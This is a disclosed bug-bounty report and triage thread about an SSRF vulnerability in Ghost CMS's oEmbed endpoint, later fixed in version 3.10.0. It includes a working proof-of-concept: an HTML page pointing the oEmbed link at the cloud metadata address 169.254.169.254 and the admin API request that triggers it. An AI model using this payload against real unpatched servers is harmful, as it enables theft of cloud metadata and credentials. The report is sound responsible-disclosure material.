38

Server-Side Request Forgery (SSRF) in Ghost CMS

Share:

TIMELINE

vhoareme submitted a report to Node.js third-party modules. Feb 11th (3 years ago)

I would like to report about SSRF vulnerability in CMS Ghost blog

It allows attacker able to send a crafted GET request from a vulnerable web application

Module

module name: ghost
version: 3.5.2
npm page: `https://www.npmjs.com/package/ghost`
website page `https://ghost.org/`

Module Description

Ghost is the world's most popular open source headless Node.js CMS.

Module Stats

4,812 weekly downloads

This CMS is used around 512,000 times for creating Blogs in 2018 according to Ghost statics. Currently the biggest customers of this blog are: Apple, Elon Musk's OpenAI team, Tinder, DigitalOcean, DuckDuckGo, Mozilla, Airtable, Revolt, etc.

Vulnerability

Attacker with publisher role (editor, author, contributor, administrator) in a blog may be able to leverage this to make arbitrary GET requests in a CMS Ghost Blog instance's to internal / external network.

Vulnerability Description

CMS Ghost allows publishers to set up embed content from many sources (like Youtube, Twitter, Instagram, etc).
2020-02-11_17.06.04.jpg (F713079)

When click you click on the "Other..." button you can see the following input.
2020-02-11_17.06.41.jpg (F713080)
This input are send request to the route which is vulnerable for the SSRF attack. Let's discover it!
When you try to pass some URL into this input we receive response like that:

Code 86 Bytes Wrap lines Copy Download

```
GET /ghost/api/v3/admin/oembed/?url=http://169.254.169.254/metadata/v1.json&type=embed
```

2020-02-11_17.56.17.jpg (F713081)
In my case I trying to receive DigitalOcean MetaData from my server.

But, sadly In that moment we receive only validation error. That's because responsible for that function query() doesn't receive any content from function fetchOembedData().

Code 859 Bytes Wrap lines Copy Download

```
File: /Ghost/core/server/api/canary/oembed.js

module.exports = {
    docName: 'oembed',
    read: {
        permissions: false,
        data: [
            'url',
            'type'
        ],
        options: [],
        query({data}) {
            let {url, type} = data;

            if (type === 'bookmark') {
                return fetchBookmarkData(url);
            }

            return fetchOembedData(url).then((response) => {
                if (!response && !type) {
                    return fetchBookmarkData(url);
                }
                return response;
            }).then((response) => {
                if (!response) {
                    return unknownProvider(url);
                }
            });
        }
    }
};
```

If we add breakpoint in fetchOembedData() function. And when will go across all lines of code in this function. We will notice interesting function that is call getOembedUrlFromHTML()

Code 937 Bytes Wrap lines Copy Download

```
File: /Ghost/core/server/api/canary/oembed.js

function fetchOembedData(url) {
    let provider;
    ({url, provider} = findUrlWithProvider(url));
    if (provider) {
        return knownProvider(url);
    }
    return request(url, {
        method: 'GET',
        timeout: 2 * 1000,
        followRedirect: true,
        headers: {
            'user-agent': 'Ghost(https://github.com/TryGhost/Ghost)'
        }
    }).then((response) => {
        if (response.url !== url) {
            ({url, provider} = findUrlWithProvider(response.url));
        }
        if (provider) {
            return knownProvider(url);
        }
        const oembedUrl = getOembedUrlFromHTML(response.body);
        if (oembedUrl) {
            return request(oembedUrl, {
                method: 'GET',
                json: true
            }).then((response) => {
                return response.body;
            }).catch(() => {});
        }
    });
}
```

This function is responsible for getting oEmbed URL from external resources.

Code 169 Bytes Wrap lines Copy Download

```
File: /Ghost/core/server/api/canary/oembed.js

const getOembedUrlFromHTML = (html) => {
    return cheerio('link[type="application/json+oembed"]', html).attr('href');
};
```

> "oEmbed is a format for allowing an embedded representation of a URL on third party sites. The simple API allows a website to display embedded content (such as photos or videos) when a user posts a link to that resource, without having to parse the resource directly."

And here we can notice before and after executing getOembedUrlFromHTML() function don't exist any validation which can prevent against from the SSRF attacks.

Steps To Reproduce:

Currently, we know how we can bypass validation in vulnerable route and now we can easily create exploit for this.

First of all, we should create an HTML page with "link[type="application/json+oembed"]" malicious URL which we would like to discover:

Code 225 Bytes Wrap lines Copy Download

```
<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8">
   <title>Security Testing</title>
   <link rel="alternate" type="application/json+oembed" href="http://169.254.169.254/metadata/v1.json"/>
</head>
<body></body>
</html>
```

And serve this page by the Python SimpleHTTPServer module:

`python -m SimpleHTTPServer 8000`

If your target is located in not your local network you can use ngrok library for creating a tunnel to your HTML page.

And send the following request with publisher Cookies

```
Connection: keep-alive
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
X-Ghost-Version: 3.5
App-Pragma: no-cache
User-Agent: Mozilla/5.0
Content-Type: application/json; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: en-US;
Cookie: ghost-admin-api-session=YOUR_SESSION
```

And we finally receive a response from the internal DigitalOcean service with my Droplet MetaData.
SSRF vulnerability is working! 🥳

2020-02-11_17.07.09.jpg (F713098)

Supporting Material/References:

- OS: macOS current
- Node.js: 10.15.2
- NPM: 6.11.3

Wrap up

- I contacted the maintainer to let them know: Yes
- I opened an issue in the related repository: No

Impact

Attacker with publisher role (editor, author, contributor, administrator) in a blog may be able to leverage this to make arbitrary GET requests in a Ghost Blog instance's to internal / external network.

4 attachments:
F713079: 2020-02-11_17.06.04.jpg
F713080: 2020-02-11_17.06.41.jpg
F713081: 2020-02-11_17.56.17.jpg
F713098: 2020-02-11_17.07.09.jpg

whoareme posted a comment. Feb 11th (3 years ago)

Impact

An attacker may be able to leverage this to make arbitrary GET requests in a Ghost Blog instance's internal network. It can also be used to connect to cloud provider's instance metadata API, which may result in the ability to execute commands on the machine.

nochnoidozor posted a comment. Feb 12th (3 years ago)

Hi @whoareme,

Thank you for your submission. Your report is currently being reviewed and the HackerOne triage team will get back to you once there is additional information to share.

Kind regards,
@nochnoidozor

nochnoidozor changed the status to **Needs more info**. Feb 12th (3 years ago)

Hi @whoareme,

thanks for the submission. I setup the environment in order to run ghost locally, anyway it's not clear how the attack should be performed. In your exploitation scenario I assume the attacker needs publisher role, therefore a new user needs to be created? Then it's enough to issue that request that you mentioned with the cookies of this new added user, and point it to the PoC html page served with the python http server?

Thanks for your collaboration,
@nochnoidozor

whoareme changed the status to **New**. Feb 13th (3 years ago)

Hi @nochnoidozor,

You need to have credentials to the user which having enough permissions for login into admin page (website.com **/ghost/**). After that, you can try to exploit the SSRF vulnerability.

I have recorded a short movie where I explain how you can do it.

ssrf.mov (F715390)

1 attachment:
F715390: ssrf.mov

nochnoidozor updated the severity from High to Medium (4.4). Feb 16th (3 years ago)

nochnoidozor changed the status to **Triaged**. Feb 16th (3 years ago)

Hello @whoareme,

Thank you for your submission! We were able to validate your report, and have submitted it to the appropriate remediation team for review. They will let us know the final ruling on this report, and when/if a fix will be implemented. Please note that the status and severity are subject to change.

info_uljnf joined this report as a participant. Feb 18th (3 years ago)

info_uljnf posted a comment. Feb 18th (3 years ago)

Hi 👋

Kevin Ansfield from Ghost Foundation here. @whoareme alerted us to this vulnerability last week and we have an outline plan for fixing the issue that will roughly involve:

1. Adding validation to the referenced `getOembedUrlFromHTML` function to ensure we are not returning any localhost/IP-address or non-http/https URLs.
2. Adjusting the referenced `fetchOembedData` function to ensure that the response from any fetched resource is JSON and that the returned object shape matches the oembed spec, then building our own response by cherry-picking required data rather than passing the fetched response straight through.

Based on the disclosure date and our own triaging/classification we aim to have this fix in a public release within the next few weeks.

We'll reply here once the fix is public. If any further details are needed please let us know.

marcinhoppe Node.js third-party modules staff posted a comment. Feb 19th (3 years ago)

@info_uljnf many thanks for a detailed update! If it's OK for you, I would like to coordinate the responsible disclosure here on HackerOne, including issuing a CVE.

marcinhoppe Node.js third-party modules staff posted a comment. Mar 3rd (3 years ago)

@info_uljnf can you post a comment here when the patch has been released?

info_uljnf posted a comment. Mar 3rd (3 years ago)

@marcinhoppe Kevin here again. The patch is ready and currently in internal review. We have a release scheduled for next Monday (9th March).

As it's security-related our standard practice is to keep the patch in a private repo rather than the open source repo until just before we release so that we're not advertising the exploit before there's a release that users can upgrade to.

> If it's OK for you, I would like to coordinate the responsible disclosure here on HackerOne, including issuing a CVE.

Absolutely. Let me know what's required.

marcinhoppe Node.js third-party modules staff posted a comment. Mar 4th (3 years ago)

It's great to hear you are already following best practices! I will request disclosure after the fix has been released on March 9th.

marcinhoppe Node.js third-party modules staff posted a comment. Mar 9th (3 years ago)

Looks like 3.10.0 with the fix has been released.

@whoareme can you confirm that the reported vulnerability has been fixed?

info_uljnf posted a comment. Mar 9th (3 years ago)

@marcinhoppe @whoareme Ghost 3.10.0 has been released and includes the fix for this issue. The relevant commit is here https://github.com/TryGhost/Ghost/commit/47739396705519a36018686894d1373e9eb92216

whoareme posted a comment. Mar 9th (3 years ago)

Hi @marcinhoppe, @info_uljnf! Yes, it looks like this was fixed. Can we disclosure it?

marcinhoppe Node.js third-party modules staff posted a comment. Mar 9th (3 years ago)

Yes, I will disclose and request a CVE.

marcinhoppe Node.js third-party modules staff closed the report and changed the status to ● **Resolved**. Mar 9th (3 years ago)

marcinhoppe Node.js third-party modules staff requested to disclose this report. Mar 9th (3 years ago)

whoareme agreed to disclose this report. Mar 9th (3 years ago)

This report has been disclosed. Mar 9th (3 years ago)

marcinhoppe Node.js third-party modules staff changed the scope from **None** to **Ghost**. Jun 17th (3 years ago)